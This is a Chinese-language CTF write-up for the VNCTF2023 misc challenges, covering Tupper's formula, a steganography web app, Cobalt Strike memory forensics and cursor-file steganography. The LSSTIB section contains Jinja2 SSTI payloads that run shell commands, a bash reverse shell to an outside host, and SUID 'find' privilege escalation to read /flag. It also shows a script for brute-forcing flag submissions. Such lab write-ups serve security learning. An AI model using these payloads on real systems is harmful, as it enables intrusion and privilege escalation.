文章目录

  • 前言
  • misc
    • 验证码
    • LSSTIB
    • 来一把紧张刺激的CS
    • 你看这个指针它可爱吗
      • macOS部分
      • windows部分

前言

  • 总榜第9,misc单榜第2
  • 指针拿了个一血还可以,但是当时做的时候马上出flag有点急了,不然认真想一想在出下午hint之前就能做出来的
  • 二三血拿的有点少,而且贪吃蛇那道题没做出来!!实在有点小菜,还需努力!

misc

验证码

到手一堆验证码图片

根据hint给了tupper,图片的全部数据应该是tupper公式的k,pythonOCR太不准了

直接花个几分钟手搓完事

1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865378478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552

找个网站Tupper’s Formula Tools (tuppers-formula.ovh)解一下,原函数就是flag

或者网上找个tupper脚本

import numpy as np
import matplotlib.pyplot as pltdef Tupper_self_referential_formula(k): aa = np.zeros((17,106))def f(x, y):y += ka1 = 2**-(-17*x - y%17)a2 = (y // 17) // a1return 1 if a2 % 2 > 0.5 else 0for y in range(17):for x in range(106):aa[y, x] = f(x, y)return aa[:,::-1]k = 1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865378478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552
aa = Tupper_self_referential_formula(k)
plt.figure(figsize=(15,10))
plt.imshow(aa,origin='lower')
plt.show()

得到的图需要水平翻转一下

LSSTIB

根据题目名称、描述以及打开的网页名字可以猜测是一个png的LSB的解密器

根据题目名猜测可能存在ssti的漏洞,猜测大概思路是利用lsb解析后执行ssti

网上找个脚本做一张lsb图,用仅有的web知识,简单测试一下

# -*- coding: utf-8 -*-
"""
Created on Sun May 19 11:20:05 2019
@author: Administrator
"""from PIL import Imagedef plus(string):# Python zfill() 方法返回指定长度的字符串,原字符串右对齐,前面填充0。return string.zfill(8)def get_key(strr):# 获取要隐藏的文件内容with open(strr, "rb") as f:s = f.read()string = ""for i in range(len(s)):# 逐个字节将要隐藏的文件内容转换为二进制,并拼接起来# 1.先用ord()函数将s的内容逐个转换为ascii码# 2.使用bin()函数将十进制的ascii码转换为二进制# 3.由于bin()函数转换二进制后,二进制字符串的前面会有"0b"来表示这个字符串是二进制形式,所以用replace()替换为空# 4.又由于ascii码转换二进制后是七位,而正常情况下每个字符由8位二进制组成,所以使用自定义函数plus将其填充为8位string = string+""+plus(bin(s[i]).replace('0b', ''))# print(string)return stringdef mod(x, y):return x % y# str1为载体图片路径,str2为隐写文件,str3为加密图片保存的路径def func(str1, str2, str3):im = Image.open(str1)# 获取图片的宽和高width, height = im.size[0], im.size[1]print("width:"+str(width))print("height:"+str(height))count = 0# 获取需要隐藏的信息key = get_key(str2)keylen = len(key)for h in range(height):for w in range(width):pixel = im.getpixel((w, h))a = pixel[0]b = pixel[1]c = pixel[2]if count == keylen:break# 下面的操作是将信息隐藏进去# 分别将每个像素点的RGB值余2,这样可以去掉最低位的值# 再从需要隐藏的信息中取出一位,转换为整型# 两值相加,就把信息隐藏起来了a = a-mod(a, 2)+int(key[count])count += 1if count == keylen:im.putpixel((w, h), (a, b, c))breakb = b-mod(b, 2)+int(key[count])count += 1if count == keylen:im.putpixel((w, h), (a, b, c))breakc = c-mod(c, 2)+int(key[count])count += 1if count == keylen:im.putpixel((w, h), (a, b, c))breakif count % 3 == 0:im.putpixel((w, h), (a, b, c))im.save(str3)def main():# 原图old = "flag.png"# 处理后输出的图片路径new = "flag_encode.png"# 需要隐藏的信息enc = "a.txt"func(old, enc, new)if __name__ == '__main__':main()

发现确实存在ssti漏洞

ps:这里png图建议自己制作个小图,无用数据过多会导致lsb加密后每个通道都有数据,上传后会报错

from PIL import Imagex = y = 100
img = Image.new("RGB",(x,y))for width in range(0,x):for height in range(0,y):img.putpixel((width,height),(255,255,255))
img.save('flag.png')

网上找个payload,尝试上传

{{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}

读一下flag

{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

失败了,果然没那么简单

那就先弹个shell

{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/xx.xxx.xxx.xxx/8989 0>&1"').read()}}

根据hint suid,找一下有suid权限的东西

find / -user root -perm -4000 -print 2>/dev/null

哦豁,很惊喜的发现find有suid权限

当前目录没写入权限,找个有写入权限的地方,

提权

find test -exec whoami \;

拿flag

find test -exec cat /flag \;

来一把紧张刺激的CS

根据所给的poc.py,需要找到异常进程名字,连接的端口和地址以及公钥

根据所需的四个数据,再结合描述战术目镜,黄色头发,题目名的CS应该是指Cobalt Strike,题目所给应该是CS渗透后的内存镜像

vol2跑不出来,猜测可能是win10的内存,拿vol3先看看

查看一下plist,发现个dllhost.exe,应该就是所需的异常进程

  • 这里赛后很多人问为什么是这个进程,因为涉及到远控的时候宿主机后台大概率有这个进程在,算是一个小经验
  • 当然就算这里发现不了,用vol3自带的cobaltstrike插件也可以解析出来的

后续不知道算不算个非预期,找到篇解析cs内存的文章Cobalt Strike: Memory Dumps – Part 6 – NVISO Labs

先用vol3把内存dump下来

python vol.py -f C:\Users\22826\Desktop\attachment\memory.raw  -o C:\Users\22826\Desktop\attachment  windows.memmap.Memmap  --dump

再直接用他所给的脚本解析即可得到剩下三个数据,其中url需要将后面的,/match删一下

放poc.py里得到flag

你看这个指针它可爱吗

macOS部分

搜索macOS制作指针教程找到出题人的博客从Windows动态指针到MacOS动态指针—— 在Windows上制作指针 - 哔哩哔哩 (bilibili.com)

(结果后来hint给了出题人的博客)

查阅资料后得知cape文件是macOS的鼠标指针文件,使用XML格式作为主框架的,且使用了PropertyList作为数据结构进行组织,用plistlib进行解析一下

from plistlib import load
with open('1.cape', 'rb') as fp:pl = load(fp)
print(pl)

可以发现Representations部分的数据其实就是base64解码后的data部分的数据

49492A标志位,II开头,应该是小端序的tiff文件

标签图像文件格式(Tagged Image File Format,简写为TIFF)是一种灵活的位图格式,主要用来存储包括照片和艺术图在内的图像。它最初由Aldus公司与微软公司一起为PostScript打印开发。TIFF与JPEG和PNG一起成为流行的高位彩色图像格式。TIFF格式在业界得到了广泛的支持,如Adobe公司的Photoshop、The GIMP Team的GIMP、Ulead PhotoImpact和Paint Shop Pro等图像处理应用、QuarkXPress和Adobe InDesign这样的桌面印刷和页面排版应用,扫描、传真、文字处理、光学字符识别和其它一些应用等都支持这种格式。如今Adobe公司从Aldus获得了印刷应用程序-PageMaker之后控制着TIFF的规范。

每个TIFF文件都是从指示字节序的两个字节开始的。“II”表示小端序、“MM”表示大端序。后面的两个字节表示数字42。数字42是“为了它深远的哲学意味”而选择的。42的读法取决于头两个字节所表示的字节顺序。整个文件根据所指出的字节顺序进行读取

通过搜索结果后发现应该有6个tiff文件,分别将他们的索引找出来

#com.apple.coregraphics.Arrow
#com.apple.coregraphics.IBeam
#com.apple.coregraphics.Move
#com.apple.coregraphics.Wait
#com.apple.cursor.17
#com.apple.cursor.18

先导出第一个tiff文件

from plistlib import load
from PIL import Image
with open('1.cape', 'rb') as fp:pl = load(fp)
#print(pl)
#com.apple.coregraphics.Arrow
#com.apple.coregraphics.IBeam
#com.apple.coregraphics.Move
#com.apple.coregraphics.Wait
#com.apple.cursor.17
#com.apple.cursor.18
s=pl['Cursors']['com.apple.coregraphics.Move']['Representations'][0]
with open('1.tiff','wb') as x:x.write(s)

发现存在隐藏信息,但导出第二个tiff的时候就发现由于鲨鱼肚皮是白色的,跟隐藏信息重叠一起了很难看

根据题目描述所有的插入信息RGBA取值为(255,255,255,255),尝试将全部(255,255,255,255)的数据导出

from plistlib import load
from PIL import Image
with open('1.cape', 'rb') as fp:pl = load(fp)
#print(pl)
#com.apple.coregraphics.Arrow
#com.apple.coregraphics.IBeam
#com.apple.coregraphics.Move
#com.apple.coregraphics.Wait
#com.apple.cursor.17
#com.apple.cursor.18
s=pl['Cursors']['com.apple.coregraphics.IBeam']['Representations'][0]
with open('1.tiff','wb') as x:x.write(s)
im = Image.open('1.tiff')
pix = im.load()
width = im.size[0]
height = im.size[1]
imgg = Image.new('RGB', (width, height))
for x in range(width):for y in range(height):rgba = pix[x, y]if rgba==(255,255,255,255):imgg.putpixel((x,y), (255, 255, 255))else:imgg.putpixel((x,y), (0,0,0))
imgg.save('1.png')

对照原图,可以较为清晰的得到隐藏信息

结合6个tiff可以得到后半段的flag

8df7-b89f4760d810}

windows部分

搜索windows制作指针教程,找到个Axialis CursorWorkshop软件,可以制作ani和cur文件,同样也可以导入

  • ani:动态windows指针图标(类似gif)
  • cur:静态windows指针图标

以1.ani为例,逐帧查看可以发现某些帧的左上角有隐藏的flag信息

由于隐藏信息的RGBA值是(255,255,255,255),某些图片里背景色是透明比较难以直接查看,可以通过将不透明度调到最小进行查看

这里也提供另一种方式,可以直接将整个ani(cur)以长图(图片)的形式导出,可以直接查看

最后得到

laf
g1{
513
21c
1-8
8
7
4
-
4
6
-b7

根据uuid的格式可以大概排列出flag的前半段

flag{151321c1-8874-46b7-

组合后得到flag(错误的)

flag{151321c1-8874-46b7-8df7-b89f4760d810}

问题主要出在windows几个数据的排列顺序上

赛后复现的预期解

根据hint,ani文件似乎有一些option字段(当时误解了这句话意思所以没能利用上),通过搜索ani文件格式

Ani动态光标格式解析 - 孤影对酌 - 博客园 (cnblogs.com)

可以知道ani主要分成四段文字说明区、信息区、时间控制区和数据区,对应’anih’, ‘rate’, 'seq ', ‘list’,每个数据区都有对应开头标识,而seq数据区对应的是播放顺序

这其实在出题人的博客里也有写出,这一篇文章比赛时没去看(

从Windows动态指针到MacOS动态指针——ANI2GIF - 哔哩哔哩 (bilibili.com)

例如1.ani,将数据以10进制复制出来后去0,可以得到他的播放顺序

13           20           7            10
0            31           28           8
3            11           5            30
12           18           32           24
22           27           4            6
1            25           15           16
33           9            21           26
23           19           2            14
17           29

laf对应三个帧分别是第5、24、31帧,通过比对播放顺序可以发现,分别是原来的第11、16、6张图,因此正确顺序应该是fla

照此思路可以得到最终正确的flag

flag{1513c121-8874-46b7-8df7-b89f4760d810}

比赛时的非预期解(不建议模仿)

由于buu不限制最大提交次数,直接爆破windows这边几个数据的顺序

def permutation(s):if len(s) <= 1:return [s]else:temp_list = []for i in range(len(s)):  # 遍历字符串 s 中的每个字符for j in permutation(s[0:i] + s[i+1:]):  # 把除了s[i]字符以外的字符组成字符串然后让它迭代temp_list.append(s[i]+j)return temp_list
list1=permutation('513')
list2=permutation('21c')
list3=['1-8','8-1']
list4=permutation('b7')for a in list1:for b in list2:for c in list3:for d in list4:flag='flag{1'flag=flag+a+b+c+'874-46'+d+'-8df7-b89f4760d810}'print(flag)

一开始提交flag过多还被buuban了几分钟,,,在我坚持不懈下还是成功了(
并不建议大家这样去投机取巧(

VNCTF2023-misc方向wp相关推荐

  1. 2023红明谷杯misc方向wp

    文章目录 hacker 阿尼亚 X光的秘密 Q:2282679004 流量包其实完全非预期了后面 要是有师傅会的话求求教我一下 hacker 导出http对象 发现有shell.php,分析后大概了解 ...

  2. 20220201--CTF刷题MISC方向--第5题

    刷题网站:攻防世界 https://adworld.xctf.org.cn/ MISC方向–新手场–第5题–stegano 下载附件,是一个pdf格式的文件 水印提示"No flag her ...

  3. 20220202--CTF刷题MISC方向--第8题--十六进制转化成ASCII

    刷题网站:攻防世界 https://adworld.xctf.org.cn/ MISC方向–新手场–第8题–掀桌子 题目描述:菜狗截获了一份报文如下c8e9aca0c6f2e5f3e8c4efe7a1 ...

  4. 20220202--CTF刷题MISC方向--第7题--编码

    刷题网站:攻防世界 https://adworld.xctf.org.cn/ MISC方向–新手场–第7题–gif 题目描述:菜狗截获了一张菜鸡发给菜猫的动态图,却发现另有玄机 下载附件并且解压打开: ...

  5. 20220202--CTF刷题MISC方向--第5题--反编译

    刷题网站:攻防世界 https://adworld.xctf.org.cn/ MISC方向–新手场–第6题–坚持60s 下载附件: 双击打开,提示: 这个程序写的着实无从下手,运用反编译工具: 打开这 ...

  6. 20220201--CTF刷题MISC方向--第4题

    刷题网站:攻防世界 https://adworld.xctf.org.cn/ MISC方向–新手场–第4题–give_you_flag 题目描述:菜狗找到了文件中的彩蛋很开心,给菜猫发了个表情包 下载 ...

  7. 【vishwaCTF】misc题解wp

    [vishwaCTF]misc题解wp MISC Epistemus(信息检索.Twitter 隐写和cat命令) So Forgetful!(流量包) The Last Jedi(binwalk和信 ...

  8. 20220131--CTF刷题MISC方向--三道题--简单的图片隐写/与佛论禅解密/rot13解码---比较有意思的几道题

    标题20220131–CTF刷题MISC方向 刷题网站:攻防世界 https://adworld.xctf.org.cn/ MISC方向–新手场–第1题–this_is_flag 题目描述:Most ...

  9. catf1ag Misc writeup(wp) 可能会持续更新

    我 不是很推荐连附件都不下载就直接看wp学习然后提交flag 更不推荐看都不看为了上分提交flag. 但我还是要把flag放出来( 文章目录 师傅们,看这里!!! 签到题 height LSB I_L ...

  10. 收录CTF MISC方向中使用的在线工具网站

    文章目录 说明 集成工具站 编码/解码 Base家族 Base64 Base62 Base58 Base32 Base85 Base91 Base92 Base100 进制编码 十六进制编码 八进制编 ...

最新文章

  1. 【iOS与EV3混合机器人编程系列之中的一个】iOS要干嘛?EV3能够更酷!
  2. python画散点图分布-python画时间序列散点图
  3. python test suit_python unittest学习3---添加测试套件,testsuit
  4. 圆周移位是怎么移的_想烟道移位,师傅却连连摆手:小区烟道都是统一的,咋能随便改...
  5. java存储过程示例_安全密码存储–请勿做的事和Java示例
  6. Sharepoint学习笔记—ECM系列--根据位置设置的默认元数据值(Location-Based Metadata Defaults)...
  7. STL12-queue容器
  8. C#winform可视化(当主窗体不能拖动时)
  9. ubuntu命令整理中
  10. java基本数据类型之间的转换
  11. JLINK-->JFlash烧录固件
  12. 【协议分析】WAP1.x协议栈浅析-WSP协议
  13. 基于python+qt5考研倒计时器
  14. ios app真机测试到上架App Store详细教程-必看
  15. python常用模块与MySQL数据库交互(学习笔记)
  16. 20行Python代码爬取LOL全英雄皮肤图片
  17. golang 求差集和并集算法
  18. android六边形图片,android – 如何给图像的六边形形状
  19. sendcloud php 群发,laravel5.5 使用sendcloud发送邮件
  20. Ubuntu-samba服务器的搭建

热门文章

  1. 数字孪生技术仿真出北斗卫星发射!物联网进军航天智慧新里程
  2. CSS3生日快乐之烟花动画特效
  3. fxsvr2.exe
  4. 网页中嵌入 Flash 的方法 满足W3C
  5. BUUCTF-MISC-假如给我三天光明~九连环
  6. CC2540/CC2541的基本操作
  7. 使用Carthage
  8. 蔡司影像,超越所见 巅峰旗舰vivo X80系列正式发布
  9. stm32【 1.3寸LCD屏幕(2)】
  10. Bootstra5 按钮处理